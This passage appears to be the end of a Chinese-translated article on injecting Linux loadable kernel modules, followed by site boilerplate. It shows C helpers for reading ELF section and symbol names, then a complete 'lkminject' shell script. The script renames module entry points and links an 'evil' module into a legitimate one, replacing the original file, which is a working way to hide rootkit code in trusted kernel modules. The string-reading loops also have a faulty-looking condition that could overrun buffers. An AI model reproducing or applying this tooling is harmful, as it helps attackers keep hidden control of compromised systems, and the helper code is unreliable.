ehdr->e_shstrndx, &shstrtable);  memset (name, 0, sizeof (name));  for (i=0; i<ehdr->e_shnum; i++)  {    if (fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize),               SEEK_SET) == -1)      FATAL ("fseek");    if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)      FATAL ("Sections header corrupted");    ElfGetSectionName (fd, shdr->sh_name, &shstrtable,                       name, sizeof (name));    if (!strcmp (name, section))    {      return 0;    }  }  return -1;}int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,    Elf32_Shdr *shstrtable, char *res, size_t len){  size_t i = 0;  if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1)    FATAL ("fseek");  while ((i < len) || *res == '\0')  {    *res = fgetc (fd);    i++;    res++;  }  return 0;}Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,    Elf32_Shdr *strtable, char *res, size_t len){  size_t i = 0;  if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1)    FATAL ("fseek");  while ((i < len) || *res == '\0')  {    *res = fgetc (fd);    i++;    res++;  }  return (strtable->sh_offset + sym_name);}/* EOF */----] 9.2 Lkminject#!/bin/sh## lkminject by truff ([email protected])## Injects a Linux lkm into another one.## Usage:# ./lkminfect.sh original_lkm.o evil_lkm.c## Notes:# You have to modify evil_lkm.c as explained bellow:# In the init_module code, you have to insert this line, just after# variables init:# dumm_module ();## In the cleanup_module code, you have to insert this line, just after# variables init:# dummcle_module ();##      http://www.projet7.org                  - Security Researchs -###########################################################################sed -e s/init_module/evil_module/ $2 > tmpmv tmp $2sed -e s/cleanup_module/evclean_module/ $2 > tmpmv tmp $2# Replace the following line with the compilation line for your evil lkm# if needed.makeld -r $1 $(basename $2 .c).o -o evil.o.../elfstrchange evil.o init_module dumm_module.../elfstrchange evil.o evil_module init_module.../elfstrchange evil.o cleanup_module dummcle_module.../elfstrchange evil.o evclean_module cleanup_modulemv evil.o $1rm elfstrchange|=[ EOF ]=---------------------------------------------------------------=|译者的话: 这篇文章总的来说还是比较容易懂的. 原文标题是<感染LKM>. 旅团的Bytes兄弟说不如"注射"来得贴切, 采纳之. 感谢alert7大哥的建议, 保留了section的专有名称. 感谢各位旅团兄弟的支持. 最后感谢chaton, 我占用了她的老公好几天^_^
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

返回顶部